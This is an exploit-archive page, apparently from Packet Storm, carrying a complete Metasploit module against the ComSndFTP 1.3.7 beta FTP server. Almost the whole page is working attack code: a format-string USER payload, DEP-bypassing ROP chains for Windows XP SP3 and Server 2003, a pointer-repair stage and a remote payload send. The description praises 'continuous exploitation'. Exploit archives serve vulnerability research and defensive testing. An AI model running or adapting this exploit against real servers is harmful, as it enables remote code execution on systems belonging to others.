exploit the possibilities

ComSndFTP 1.3.7 Beta USER Format String (Write4)

ComSndFTP 1.3.7 Beta USER Format String (Write4)
Posted Jun 14, 2012
Authored by Rick, corelanc0d3r, mr_me, ChaoYi Huang | Site metasploit.com

This Metasploit module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially crafted format string specifier as a username. The crafted username is sent to to the server to overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code. The SEH exit function is preferred so that the administrators are not left with an unhandled exception message. When using the meterpreter payload, the process will never die, allowing for continuous exploitation.

tags | exploit, arbitrary
MD5 | ad58b74e16513fde63bd760903b78714

ComSndFTP 1.3.7 Beta USER Format String (Write4)

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'ComSndFTP v1.3.7 Beta USER Buffer Overflow',
'Description' => %q{
This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
crafted format string specifier as a username. The crafted username is sent to to the server to
overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
The SEH exit function is preferred so that the administrators are not left with an unhandled
exception message. When using the meterpreter payload, the process will never die, allowing
for continuous exploitation.
},
'Author' =>
[
'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc
'rick2600 <rick2600[at]corelan.be>', # msf module (target XP)
'mr_me <mr_me[at]@corelan.be>', # msf module (target 23k)
'corelanc0d3r <peter.ve[at]corelan.be>' # msf module
],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
# When a DoS is NOT a DoS
[ 'EDB', '19024']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
'DisableNops' => 'True'
},
'Targets' =>
[
[
'Windows XP SP3 - English',
{
'Functionpointer' => 0x71AC4050, # winsock pointer
'Functionaddress' => 0x71AB2636, # the repair address
'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn
'Pad' => 568
}
],
[
'Windows Server 2003 - English',
{
'Functionpointer' => 0x71C14044, # winsock pointer
'Functionaddress' => 0x71C02661, # the repair address
'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn
'Pad' => 568
}
]
],
'DisclosureDate' => 'Jun 08 2012'))

register_options(
[
Opt::RPORT(21),
], self.class)
end

def check
connect
banner = sock.get(-1,3)
validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
validate << "\xf1\xc6\xf7\x21\x0d\x0a"
disconnect

if (banner == validate)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def exploit

rop = ''
if target.name =~ /Server 2003/
# C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959
rop = [
0x77be3adb, # pop eax ; retn
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # mov eax,[eax] ; pop ebp ; retn
junk,
0x77bb0c86, # xchg eax,esi ; retn
0x77be3adb, # pop eax ; retn
0xFFFFFBFF, # dwSize
0x77BAD64D, # neg eax ; pop ebp ; retn
junk,
0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn
0x77bbfc02, # pop ecx ; retn
0x77bef001, # ptr that is w+
0x77bd8c04, # pop edi ; retn
0x77bd8c05, # retn
0x77be3adb, # pop eax ; retn
0xFFFFFFC0, # flNewProtect
0x77BAD64D, # neg eax ; pop ebp ; retn
0x77be2265, # ptr to 'push esp ; ret'
0x77BB8285, # xchg eax,edx ; retn
0x77be3adb, # pop eax ; retn
0x90909090, # nops
0x77be6591, # pushad ; add al,0ef ; retn
].pack("V*")

elsif target.name =~ /XP SP3/
# C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512
rop = [
0x77C21D16, # pop eax ; retn
0x77C11120, # <- *&VirtualProtect()
0x77C2E493, # mov eax,[eax] ; pop ebp ; retn
junk,
0x77C21891, # pop esi ; retn
0x77C5D010, # ptr that is w+
0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn
0x77C21D16, # pop eax ; retn
0xFFFFFBFF, # dwSize
0x77C1BE18, # neg eax ; pop ebp ; retn
junk,
0x77C2362C, # pop ebx ; retn
0x77C5D010, # ptr that is w+
0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn
0x77C1F519, # pop ecx ; retn
0x77C5D010, # ptr that is w+
0x77C23B47, # pop edi ; retn
0x77C23B48, # retn
0x77C21D16, # pop eax ; retn
0xFFFFFFC0, # flNewProtect
0x77C1BE18, # neg eax ; pop ebp ; retn
0x77C35459, # ptr to 'push esp ; ret'
0x77C58FBC, # xchg eax,edx ; retn
0x77C21D16, # pop eax ; retn
0x90909090, # nops
0x77C567F0, # pushad ; add al,0ef ; retn
].pack("V*")
end

stage1 = %Q{
mov eax, #{target['Functionpointer']}
mov ecx, #{target['Functionaddress']}
mov [eax], ecx
}

offset_wp = rand_text_alphanumeric(1)
pivot = target['Pivot']
offset = target['Pad'] + rop.length + stage1.length + payload.encoded.length

attackstring = rand_text_alphanumeric(7)
attackstring << [target['Functionpointer']].pack('V')
attackstring << "%#{pivot}x" # special pointer to our pivot
attackstring << "%p" * 208 + "#{offset_wp }%n" # format specifiers to read and write the function pointer
attackstring << rand_text_alphanumeric(target['Pad'])
attackstring << rop
attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string
attackstring << payload.encoded
attackstring << rand_text_alphanumeric(2000 - offset)
attackstring << "\r\n"

sploit = "USER #{attackstring}\r\n"

print_status("Triggering overflow...")
connect
sock.get_once(1024)
sock.put(sploit)
select(nil, nil, nil, 2)
handler
disconnect

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close